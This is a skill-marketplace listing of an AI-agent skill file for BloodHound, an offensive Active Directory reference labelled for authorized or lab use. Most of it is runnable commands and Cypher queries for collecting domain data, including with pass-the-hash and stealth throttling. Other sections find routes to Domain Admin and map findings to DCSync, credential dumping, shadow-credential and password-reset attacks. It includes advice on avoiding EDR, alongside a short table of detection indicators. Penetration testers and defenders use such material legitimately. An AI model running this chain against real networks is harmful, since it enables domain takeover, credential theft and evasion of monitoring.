소스 정보
- 저장소
- AeonDave/malskill
- 최근 소스 활동
- 2026년 6월 3일 13:09
- 감지된 SKILL.md 언어
- 영어
- 스타
- 18
- 포크
- 1
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/AeonDave/malskill --skill bloodhound명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | bloodhound |
| description | Auth/lab ref: Active Directory testing path visualization using graph theory. |
| license | GPL-3.0 |
| compatibility | Collector: SharpHound on Windows or bloodhound-python (Linux/remote); CE available free at bloodhoundenterprise.io. |
| metadata | {"author":"AeonDave","version":"3.0"} |
AD attack path mapping via graph analysis — find DA paths, ACL chains, Kerberoast targets, and lateral movement.
# Pull and start BloodHound CE
curl -L https://ghst.ly/getbhce | docker compose -f - up -d
# Or manual Docker Compose
curl -L https://raw.githubusercontent.com/SpecterOps/BloodHound/main/examples/docker-compose/docker-compose.yml -o docker-compose.yml
docker compose up -d
# Default: http://localhost:8080
# Credentials: printed on first run (check docker logs)
docker compose logs | grep "Initial Password"
BloodHound CE API (for automation):
# Get bearer token
TOKEN=$(curl -s -X POST http://localhost:8080/api/v2/login \
-H "Content-Type: application/json" \
-d '{"login_name":"admin","secret":"INITIAL_PASS"}' | jq -r '.data.session_token')
# Query via API
curl -s http://localhost:8080/api/v2/users -H "Authorization: Bearer $TOKEN" | jq
# Full collection — all data types
SharpHound.exe -c All --outputdirectory C:\Windows\Temp\
# Stealth — DC data only, no session noise
SharpHound.exe -c DCOnly --throttle 2000 --jitter 25
# Explicit credentials (no need for domain-joined)
SharpHound.exe -c All --ldapusername "CORP\user" --ldappassword "pass" --domaincontroller DC_IP
# Target specific domain
SharpHound.exe -c All -d corp.local --domaincontroller 192.168.1.10
| Collection type | Data gathered | Noise level |
|---|---|---|
DCOnly | Users, groups, computers, ACLs, trusts, GPOs | Low |
Session | Logged-on sessions (where DA is now) | High |
LocalAdmin | Local group membership on all computers | Medium-High |
All | Everything above | High |
pip install bloodhound
# or
pipx install bloodhound-python
# Password auth
bloodhound-python -u user -p pass -d DOMAIN.LOCAL -c ALL -dc DC_IP -ns DC_IP
# Hash (PTH)
bloodhound-python -u user -d DOMAIN.LOCAL --hashes :NTHASH -c ALL -dc DC_IP -ns DC_IP
# Kerberos auth
bloodhound-python -u user -p pass -d DOMAIN.LOCAL -c ALL -dc DC_IP -ns DC_IP -k
# Collect only specific types (faster)
bloodhound-python -u user -p pass -d DOMAIN.LOCAL -c DCOnly,ACL -dc DC_IP -ns DC_IP
# Zip output for import
bloodhound-python -u user -p pass -d DOMAIN.LOCAL -c ALL -dc DC_IP -ns DC_IP --zip
Tricks:
/etc/hosts as the FQDN (10.0.0.1 dc.corp.local) to avoid DNS issues-c DCOnly first for stealth; add Session only when you need to track DA logins-ns DC_IP sets nameserver — critical when DNS doesn't resolve domain properly# Cross-compiled alternative to bloodhound-python, faster on large domains
rusthound -d domain.local -u user@domain.local -p pass -i <dc_ip> --zip
# LDAPS collection
rusthound -d domain.local -u user@domain.local -p pass -i <dc_ip> --ldaps --zip
# Tier 1: DC-only (LDAP queries to DC, no endpoint contact)
bloodhound-python -c DCOnly -u user -p pass -d DOMAIN.LOCAL -dc DC_IP -ns DC_IP --zip
# SharpHound: SharpHound.exe -c DCOnly --throttle 2000 --jitter 25
# Tier 2: Add ACL edges (still LDAP-only, no endpoint contact)
bloodhound-python -c DCOnly,ACL -u user -p pass -d DOMAIN.LOCAL -dc DC_IP -ns DC_IP --zip
# Tier 3: Session data (connects to ALL computers — HIGH noise)
bloodhound-python -c Session -u user -p pass -d DOMAIN.LOCAL -dc DC_IP -ns DC_IP --zip
# SharpHound: SharpHound.exe -c Session --throttle 5000 --jitter 50
# Tier 4: Scope to specific OU (reduces footprint)
SharpHound.exe -c All --ou "OU=Servers,DC=domain,DC=local" --throttle 3000 --jitter 30
| Tier | Collection | Noise | Detections |
|---|---|---|---|
| 1 | DCOnly | Minimal | Standard LDAP queries |
| 2 | DCOnly+ACL | Low | Elevated LDAP query volume |
| 3 | Session | HIGH | TCP 445 to every host, Event 4624 |
| 4 | All (scoped OU) | Medium | Bounded scope limits log volume |
# BloodHound CE: Upload via web UI drag-and-drop at http://localhost:8080
# Or via API:
curl -s -X POST http://localhost:8080/api/v2/file-upload/start \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"expected_file_count":1}' | jq
# Upload zip
curl -X POST "http://localhost:8080/api/v2/file-upload/$UPLOAD_ID" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@20240101_bloodhound.zip"
| Query | What it finds | Use case |
|---|---|---|
| Shortest Paths to Domain Admins | Any exploitable path to DA | Primary attack chain |
| All Kerberoastable Accounts | SPN users → crack TGS offline | Password cracking |
| AS-REP Roastable Users | Pre-auth disabled users | No-cred roast |
| Principals with DCSync Rights | Replication right holders | Path to cred dump |
| Computers with Unconstrained Delegation | TGT theft targets | Kerberos abuse |
| Shortest Path from Kerberoastable Users | Kerberoast → pivot path | Full chain |
| All DA Group Members | DA enumeration | Situational awareness |
| Find All Paths from Domain Users to DA | Broad attack surface | Initial analysis |
Open the Cypher query console in BloodHound GUI or CE to run these directly.
// Shortest path from owned user to DA
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN p
// All paths from Domain Users to DA (limit depth)
MATCH p=allShortestPaths((g:Group {name:"DOMAIN USERS@CORP.LOCAL"})-[*1..5]->(da:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN p LIMIT 25
// Paths through specific computer
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(c:Computer {name:"TARGET.CORP.LOCAL"}))
RETURN p
// All Kerberoastable users with admin rights
MATCH (u:User {hasspn:true, admincount:true})
RETURN u.name, u.description ORDER BY u.name
// AS-REP roastable users
MATCH (u:User {dontreqpreauth:true})
RETURN u.name, u.description
// Non-admin users with local admin on machines
MATCH (u:User {admincount:false})-[r:AdminTo]->(c:Computer)
RETURN u.name, c.name ORDER BY u.name
// Unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true, enabled:true})
WHERE c.name <> "DC.CORP.LOCAL"
RETURN c.name
// Constrained delegation (S4U abuse targets)
MATCH (c:Computer {trustedtoauth:true})
RETURN c.name, c.allowedtodelegate
// Users with constrained delegation
MATCH (u:User {trustedtoauth:true})
RETURN u.name, u.allowedtodelegate
// Users with GenericAll on another user (password reset / shadow creds)
MATCH (u1:User)-[r:GenericAll]->(u2:User)
WHERE NOT u1.name STARTS WITH "ADMIN"
RETURN u1.name, u2.name
// GenericWrite on users (targeted Kerberoasting, shadow creds)
MATCH (u:User)-[r:GenericWrite]->(t:User)
RETURN u.name AS attacker, t.name AS target
// WriteDacl on domain object (grant DCSync)
MATCH (u:User)-[r:WriteDacl]->(d:Domain)
RETURN u.name
// AllExtendedRights (includes ForceChangePassword + DCSync)
MATCH (u:User)-[r:AllExtendedRights]->(t)
RETURN u.name, type(t), t.name
// WriteOwner on high-value objects
MATCH (u:User)-[r:WriteOwner]->(t:Group)
WHERE t.admincount = true
RETURN u.name, t.name
// AddMember rights (join high-value groups)
MATCH (u:User)-[r:AddMember]->(g:Group {admincount:true})
RETURN u.name, g.name
// Full ACL attack surface from owned user
MATCH (u:User {owned:true})-[r]->(t)
WHERE type(r) IN ["GenericAll","GenericWrite","WriteDacl","WriteOwner","AllExtendedRights","AddMember","ForceChangePassword"]
RETURN u.name, type(r), labels(t), t.name
// Where are Domain Admins logged in right now?
MATCH (u:User)-[r:HasSession]->(c:Computer)
WHERE u.name IN [(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})<-[m:MemberOf*1..]-(uu:User) | uu.name]
RETURN u.name, c.name
// Computers where owned users have sessions
MATCH (u:User {owned:true})-[r:HasSession]->(c:Computer)
RETURN u.name, c.name
// Find admins logged in to non-DC machines (token theft opportunity)
MATCH (u:User {admincount:true})-[r:HasSession]->(c:Computer)
WHERE NOT c.name CONTAINS "DC"
RETURN u.name, c.name
// All domain trusts
MATCH (d1:Domain)-[r:TrustedBy]->(d2:Domain)
RETURN d1.name, type(r), d2.name
// Foreign DA members (cross-domain access)
MATCH (u:User)-[r:MemberOf]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
WHERE NOT u.domain = "CORP.LOCAL"
RETURN u.name, u.domain
// Foreign group members (any cross-domain membership)
MATCH (n)-[:MemberOf]->(g:Group)
WHERE n.domain <> g.domain
RETURN n.name, n.domain AS from_domain, g.name, g.domain AS in_domain
// Find users from child domain with paths to parent DA
MATCH p=shortestPath(
(u:User {domain:"CHILD.CORP.LOCAL"})-[*1..]->(da:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
)
RETURN p
// Cross-forest trust exploitation paths
MATCH p=(d:Domain)-[:TrustedBy*1..]->(root:Domain)
WHERE NOT (root)-[:TrustedBy]->()
RETURN p
// Mark user as owned (after compromise)
MATCH (u:User {name:"TARGETUSER@CORP.LOCAL"})
SET u.owned = true
RETURN u.name
// Mark computer as owned
MATCH (c:Computer {name:"TARGET.CORP.LOCAL"})
SET c.owned = true
RETURN c.name
// Show all owned objects
MATCH (n {owned:true})
RETURN labels(n), n.name
# 1. Collect data
bloodhound-python -u user -p pass -d DOMAIN.LOCAL -c ALL -dc DC_IP -ns DC_IP --zip
# 2. Import to CE
# Upload .zip at http://localhost:8080
# 3. Mark starting position as owned
# GUI: right-click user → Mark as Owned
# 4. Run: "Shortest Path from Owned Principals"
# OR run Cypher: shortestPath from {owned:true} to DA
# 5. Identify attack edge types in path:
# HasSession → token theft
# AdminTo → exec/secretsdump
# GenericAll → full control
# WriteDacl → grant yourself DCSync
# AddMember → join privileged group
# AllExtendedRights → password change / DCSync
# Kerberoastable → crack SPN hash
# 6. Execute chain from step 5 using corresponding tools:
# AdminTo + SMB → nxc/psexec
# Kerberoastable → Rubeus/GetUserSPNs
# GenericAll user → certipy shadow / forced password reset
# WriteDacl → dacledit.py (impacket) → grant DCSync → secretsdump
| BloodHound finding | Tool | Action |
|---|---|---|
| Kerberoastable users | Rubeus / GetUserSPNs.py | kerberoast /format:hashcat |
| AS-REP roastable | Rubeus / GetNPUsers.py | asreproast /format:hashcat |
| AdminTo edge | nxc / wmiexec.py | nxc smb TARGET -u ... --sam |
| Unconstrained delegation | Rubeus | monitor TGTs, then ptt |
| GenericWrite on user | certipy | shadow auto -account TARGET |
| WriteDacl on domain | dacledit.py | grant DCSync, then secretsdump |
| AddMember on DA group | net rpc / PowerView | add self to Domain Admins |
| ADCSESC1 edge | certipy | req -template <vuln> -upn administrator |
| ForceChangePassword | PowerView | Set-DomainUserPassword -Identity target |
| CanPSRemote | evil-winrm | evil-winrm -i TARGET -u user -p pass |
| SQLAdmin edge | mssqlclient.py / PowerUpSQL | xp_cmdshell whoami |
BloodHound CE natively detects ADCS misconfigurations via dedicated nodes and edges since v5.x.
| Node | Description |
|---|---|
EnterpriseCA | Enterprise Certificate Authority |
CertTemplate | Certificate template |
RootCA | Root CA in the PKI hierarchy |
NTAuthStore | NTAuth certificate store |
AIACA | Authority Information Access CA |
| Edge | Meaning |
|---|---|
ADCSESC1 | ESC1 exploitable path (enrollee-supplied SAN) |
ADCSESC2 | ESC2 (Any Purpose EKU) |
ADCSESC3 | ESC3 (Certificate Request Agent) |
ADCSESC4 | ESC4 (writable template ACL) |
ADCSESC6a / ADCSESC6b | ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2) |
ADCSESC9a / ADCSESC9b | ESC9 (No Security Extension) |
ADCSESC10a / ADCSESC10b | ESC10 (weak cert mapping) |
ADCSESC13 | ESC13 (issuance policy OID group link) |
Enroll | Enrollment rights on CA or template |
PublishedTo | Template published to CA |
IssuedSignedBy | Certificate chain relationship |
TrustedForNTAuth | CA trusted for NT authentication |
// Find all ESC1 exploitable paths
MATCH p = ()-[:ADCSESC1]->()
RETURN p
// All principals with enrollment rights on Enterprise CAs
MATCH p = ()-[:Enroll]->(eca:EnterpriseCA)
RETURN p
// Templates published to which CAs
MATCH p = (ct:CertTemplate)-[:PublishedTo]->(eca:EnterpriseCA)
RETURN ct.name AS template, eca.name AS ca
// ESC4 — who can write to certificate templates?
MATCH (n)-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner]->(ct:CertTemplate)
RETURN n.name, type(r), ct.name
// Find any ADCS escalation path from owned principals
MATCH p = (n {owned:true})-[:ADCSESC1|ADCSESC2|ADCSESC3|ADCSESC4|ADCSESC6a|ADCSESC9a|ADCSESC10a|ADCSESC13]->()
RETURN p
// CAs trusted for NT authentication (required for cert-based auth)
MATCH p = (eca:EnterpriseCA)-[:TrustedForNTAuth]->(ntas:NTAuthStore)
RETURN eca.name
# certipy collector outputs BloodHound-compatible data
certipy find -u user@domain.local -p pass -dc-ip <dc_ip> -bloodhound -output bh_adcs
# Import certipy BloodHound zip alongside SharpHound data in CE
# Both can be uploaded to the same database for combined path analysis
# CertiHound — dedicated Linux-native ADCS collector for BH CE v6+
pip install certihound
certihound -d domain.local -u user -p pass --dc <dc_ip> --format zip -o ./output
// Users who can PSRemote (WinRM) to computers
MATCH p = (u:User)-[:CanPSRemote]->(c:Computer)
RETURN u.name, c.name
// CanPSRemote paths from group membership
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group))
MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer)
RETURN p2
// SQL Admin paths
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group))
MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer)
RETURN p2
// RDP access paths
MATCH (u:User)-[:CanRDP]->(c:Computer)
WHERE NOT u.admincount = true
RETURN u.name, c.name
// DCOM execution paths
MATCH (u:User)-[:ExecuteDCOM]->(c:Computer)
RETURN u.name, c.name
SharpHound -c All with Session collection triggers LDAP + NetSession queries visible in logsbloodhound-python from Linux: LDAP queries originating from non-domain-joined host are suspicious-c DCOnly --throttle 2000 --jitter 25 for stealth collection — no session query, LDAP throttledNetSessionEnum on every host — generates Event 4624 type 3 on each targetnTSecurityDescriptor) request DACL_SECURITY_INFORMATION — anomalous volume detectable1644 LDAP events (expensive queries) flag DCOnly runs on monitored DCsbloodhound-python over SharpHound when EDR is present on hosts; it avoids endpoint tooling entirely| Indicator | Source | Detects |
|---|---|---|
| High-volume LDAP queries from single source | DC LDAP logs / Event 1644 | bloodhound-python / SharpHound DCOnly |
| NetSessionEnum calls to many hosts | Windows Security 4624 (type 3) | SharpHound Session collection |
| SAM-R queries from non-DC | Windows Security 4661 | Local group enumeration |
| SharpHound.exe on disk or in memory | EDR / Sysmon Event 1 | SharpHound execution |
| Anomalous nTSecurityDescriptor reads | LDAP diagnostic logging | ACL collection phase |
| File | When to load |
|---|---|
references/cypher-queries-and-api.md | Full Cypher query library, CE API automation, mark-owned workflow, ADCS queries, custom analysis patterns, noise reduction strategies |